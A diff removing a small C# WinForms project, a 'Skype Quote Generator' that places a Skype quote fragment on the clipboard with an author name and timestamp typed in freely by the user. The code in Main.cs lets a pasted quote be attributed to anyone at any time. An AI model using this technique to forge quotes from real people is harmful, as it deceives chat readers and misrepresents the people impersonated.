c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.pdb
|
||||
C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe.config
|
||||
C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe
|
||||
C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.pdb
|
||||
C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache
|
||||
C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll
|
||||
C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache
|
||||
C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.Main.resources
|
||||
C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources
|
||||
C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache
|
||||
C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.exe
|
||||
C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.pdb
|
||||
C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe.config
|
||||
C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe
|
||||
C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.pdb
|
||||
C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache
|
||||
C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll
|
||||
C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache
|
||||
C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.Main.resources
|
||||
C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources
|
||||
C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache
|
||||
C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.exe
|
||||
C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.pdb
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@ -1,22 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 14
|
||||
VisualStudioVersion = 14.0.23107.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SkypeQuote", "SkypeQuote\SkypeQuote.csproj", "{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup>
|
||||
|
||||
<supportedRuntime version="v2.0.50727"/></startup>
|
||||
</configuration>
|
@ -1,2 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ClassDiagram />
|
@ -1,152 +0,0 @@
|
||||
namespace SkypeQuote
|
||||
{
|
||||
partial class Main
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));
|
||||
this.NameBox = new System.Windows.Forms.TextBox();
|
||||
this.label1 = new System.Windows.Forms.Label();
|
||||
this.label2 = new System.Windows.Forms.Label();
|
||||
this.TimeBox = new System.Windows.Forms.TextBox();
|
||||
this.MessageBox = new System.Windows.Forms.TextBox();
|
||||
this.label3 = new System.Windows.Forms.Label();
|
||||
this.CopyButton = new System.Windows.Forms.Button();
|
||||
this.NowButton = new System.Windows.Forms.Button();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// NameBox
|
||||
//
|
||||
this.NameBox.Location = new System.Drawing.Point(79, 10);
|
||||
this.NameBox.Name = "NameBox";
|
||||
this.NameBox.Size = new System.Drawing.Size(158, 20);
|
||||
this.NameBox.TabIndex = 0;
|
||||
//
|
||||
// label1
|
||||
//
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new System.Drawing.Point(13, 13);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new System.Drawing.Size(38, 13);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "Name:";
|
||||
//
|
||||
// label2
|
||||
//
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new System.Drawing.Point(12, 39);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new System.Drawing.Size(61, 13);
|
||||
this.label2.TabIndex = 2;
|
||||
this.label2.Text = "Timestamp:";
|
||||
//
|
||||
// TimeBox
|
||||
//
|
||||
this.TimeBox.Location = new System.Drawing.Point(79, 38);
|
||||
this.TimeBox.Name = "TimeBox";
|
||||
this.TimeBox.Size = new System.Drawing.Size(114, 20);
|
||||
this.TimeBox.TabIndex = 3;
|
||||
//
|
||||
// MessageBox
|
||||
//
|
||||
this.MessageBox.Location = new System.Drawing.Point(79, 65);
|
||||
this.MessageBox.Multiline = true;
|
||||
this.MessageBox.Name = "MessageBox";
|
||||
this.MessageBox.Size = new System.Drawing.Size(158, 69);
|
||||
this.MessageBox.TabIndex = 4;
|
||||
//
|
||||
// label3
|
||||
//
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Location = new System.Drawing.Point(12, 68);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new System.Drawing.Size(53, 13);
|
||||
this.label3.TabIndex = 5;
|
||||
this.label3.Text = "Message:";
|
||||
//
|
||||
// CopyButton
|
||||
//
|
||||
this.CopyButton.Location = new System.Drawing.Point(12, 140);
|
||||
this.CopyButton.Name = "CopyButton";
|
||||
this.CopyButton.Size = new System.Drawing.Size(225, 23);
|
||||
this.CopyButton.TabIndex = 6;
|
||||
this.CopyButton.Text = "Copy To Clipboard";
|
||||
this.CopyButton.UseVisualStyleBackColor = true;
|
||||
this.CopyButton.Click += new System.EventHandler(this.CopyButton_Click);
|
||||
//
|
||||
// NowButton
|
||||
//
|
||||
this.NowButton.Location = new System.Drawing.Point(199, 36);
|
||||
this.NowButton.Name = "NowButton";
|
||||
this.NowButton.Size = new System.Drawing.Size(38, 23);
|
||||
this.NowButton.TabIndex = 7;
|
||||
this.NowButton.Text = "Now";
|
||||
this.NowButton.UseVisualStyleBackColor = true;
|
||||
this.NowButton.Click += new System.EventHandler(this.NowButton_Click);
|
||||
//
|
||||
// Main
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(249, 170);
|
||||
this.Controls.Add(this.NowButton);
|
||||
this.Controls.Add(this.CopyButton);
|
||||
this.Controls.Add(this.label3);
|
||||
this.Controls.Add(this.MessageBox);
|
||||
this.Controls.Add(this.TimeBox);
|
||||
this.Controls.Add(this.label2);
|
||||
this.Controls.Add(this.label1);
|
||||
this.Controls.Add(this.NameBox);
|
||||
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
|
||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||
this.MaximizeBox = false;
|
||||
this.MaximumSize = new System.Drawing.Size(265, 209);
|
||||
this.MinimizeBox = false;
|
||||
this.MinimumSize = new System.Drawing.Size(265, 209);
|
||||
this.Name = "Main";
|
||||
this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
|
||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||
this.Text = "Skype Quote Generator";
|
||||
this.Load += new System.EventHandler(this.Main_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
private System.Windows.Forms.TextBox NameBox;
|
||||
private System.Windows.Forms.Label label1;
|
||||
private System.Windows.Forms.Label label2;
|
||||
private System.Windows.Forms.TextBox TimeBox;
|
||||
private System.Windows.Forms.TextBox MessageBox;
|
||||
private System.Windows.Forms.Label label3;
|
||||
private System.Windows.Forms.Button CopyButton;
|
||||
private System.Windows.Forms.Button NowButton;
|
||||
}
|
||||
}
|
||||
|
@ -1,44 +0,0 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
|
||||
namespace SkypeQuote {
|
||||
public partial class Main : Form {
|
||||
private static readonly DateTime LinuxTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
|
||||
|
||||
public Main() {
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void Main_Load(object sender, EventArgs e) {
|
||||
this.TimeBox.Text = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
|
||||
}
|
||||
|
||||
private void NowButton_Click(object sender, EventArgs e) {
|
||||
this.TimeBox.Text = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
|
||||
}
|
||||
|
||||
private void CopyButton_Click(object sender, EventArgs e) {
|
||||
Clipboard.SetText(" ");
|
||||
DateTime dateTime;
|
||||
if (!DateTime.TryParse(this.TimeBox.Text, out dateTime)) {
|
||||
System.Windows.Forms.MessageBox.Show("Invalid timestamp format!");
|
||||
return;
|
||||
}
|
||||
string user = this.NameBox.Text;
|
||||
string message = this.MessageBox.Text;
|
||||
string skypeMessageFragment = String.Format("<quote author=\"{0}\" timestamp=\"{1}\">{2}</quote>", user, (dateTime.ToUniversalTime() - LinuxTime).TotalSeconds, message);
|
||||
IDataObject dataObject = new DataObject();
|
||||
dataObject.SetData("System.String", message);
|
||||
dataObject.SetData("Text", message);
|
||||
dataObject.SetData("UnicodeText", message);
|
||||
dataObject.SetData("OEMText", message);
|
||||
dataObject.SetData("SkypeMessageFragment", new MemoryStream(Encoding.UTF8.GetBytes(skypeMessageFragment)));
|
||||
dataObject.SetData("Locale", new MemoryStream(BitConverter.GetBytes(CultureInfo.CurrentCulture.LCID)));
|
||||
Clipboard.SetDataObject(dataObject);
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -1,19 +0,0 @@
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace SkypeQuote
|
||||
{
|
||||
static class Program
|
||||
{
|
||||
/// <summary>
|
||||
/// The main entry point for the application.
|
||||
/// </summary>
|
||||
[STAThread]
|
||||
static void Main()
|
||||
{
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new Main());
|
||||
}
|
||||
}
|
||||
}
|
@ -1,36 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("Skype Quote Generator")]
|
||||
[assembly: AssemblyDescription("A tool to generate Skype quotes.")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("SuperNets")]
|
||||
[assembly: AssemblyProduct("Skype Quote Generator")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2015 - SuperNets")]
|
||||
[assembly: AssemblyTrademark("SuperNets")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("d1f9e552-3450-4593-a23f-ac68b5f0fef9")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("6.6.6.7")]
|
||||
[assembly: AssemblyFileVersion("6.6.6.7")]
|
@ -1,63 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
// Runtime Version:4.0.30319.42000
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace SkypeQuote.Properties {
|
||||
using System;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// A strongly-typed resource class, for looking up localized strings, etc.
|
||||
/// </summary>
|
||||
// This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
// class via a tool like ResGen or Visual Studio.
|
||||
// To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
// with the /str option, or rebuild your VS project.
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
internal class Resources {
|
||||
|
||||
private static global::System.Resources.ResourceManager resourceMan;
|
||||
|
||||
private static global::System.Globalization.CultureInfo resourceCulture;
|
||||
|
||||
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
|
||||
internal Resources() {
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns the cached ResourceManager instance used by this class.
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Resources.ResourceManager ResourceManager {
|
||||
get {
|
||||
if (object.ReferenceEquals(resourceMan, null)) {
|
||||
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SkypeQuote.Properties.Resources", typeof(Resources).Assembly);
|
||||
resourceMan = temp;
|
||||
}
|
||||
return resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Overrides the current thread's CurrentUICulture property for all
|
||||
/// resource lookups using this strongly typed resource class.
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Globalization.CultureInfo Culture {
|
||||
get {
|
||||
return resourceCulture;
|
||||
}
|
||||
set {
|
||||
resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,117 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
@ -1,26 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
// Runtime Version:4.0.30319.42000
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace SkypeQuote.Properties {
|
||||
|
||||
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
|
||||
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
|
||||
|
||||
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
|
||||
|
||||
public static Settings Default {
|
||||
get {
|
||||
return defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,7 +0,0 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
@ -1,116 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>SkypeQuote</RootNamespace>
|
||||
<AssemblyName>SkypeQuote</AssemblyName>
|
||||
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
||||
<TargetFrameworkProfile />
|
||||
<PublishUrl>publish\</PublishUrl>
|
||||
<Install>true</Install>
|
||||
<InstallFrom>Disk</InstallFrom>
|
||||
<UpdateEnabled>false</UpdateEnabled>
|
||||
<UpdateMode>Foreground</UpdateMode>
|
||||
<UpdateInterval>7</UpdateInterval>
|
||||
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||
<UpdatePeriodically>false</UpdatePeriodically>
|
||||
<UpdateRequired>false</UpdateRequired>
|
||||
<MapFileExtensions>true</MapFileExtensions>
|
||||
<ApplicationRevision>0</ApplicationRevision>
|
||||
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||
<UseApplicationTrust>false</UseApplicationTrust>
|
||||
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<UseVSHostingProcess>false</UseVSHostingProcess>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ApplicationIcon>skype.ico</ApplicationIcon>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Main.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Main.Designer.cs">
|
||||
<DependentUpon>Main.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<EmbeddedResource Include="Main.resx">
|
||||
<DependentUpon>Main.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Properties\Resources.resx">
|
||||
<Generator>ResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<Compile Include="Properties\Resources.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
<DesignTime>True</DesignTime>
|
||||
</Compile>
|
||||
<None Include="ClassDiagram1.cd" />
|
||||
<None Include="Properties\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
|
||||
</None>
|
||||
<Compile Include="Properties\Settings.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="skype.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
@ -1,13 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<PublishUrlHistory>publish\</PublishUrlHistory>
|
||||
<InstallUrlHistory />
|
||||
<SupportUrlHistory />
|
||||
<UpdateUrlHistory />
|
||||
<BootstrapperUrlHistory />
|
||||
<ErrorReportUrlHistory />
|
||||
<FallbackCulture>en-US</FallbackCulture>
|
||||
<VerifyUploadedFiles>false</VerifyUploadedFiles>
|
||||
</PropertyGroup>
|
||||
</Project>
|
Binary file not shown.
@ -1,6 +0,0 @@
|
||||
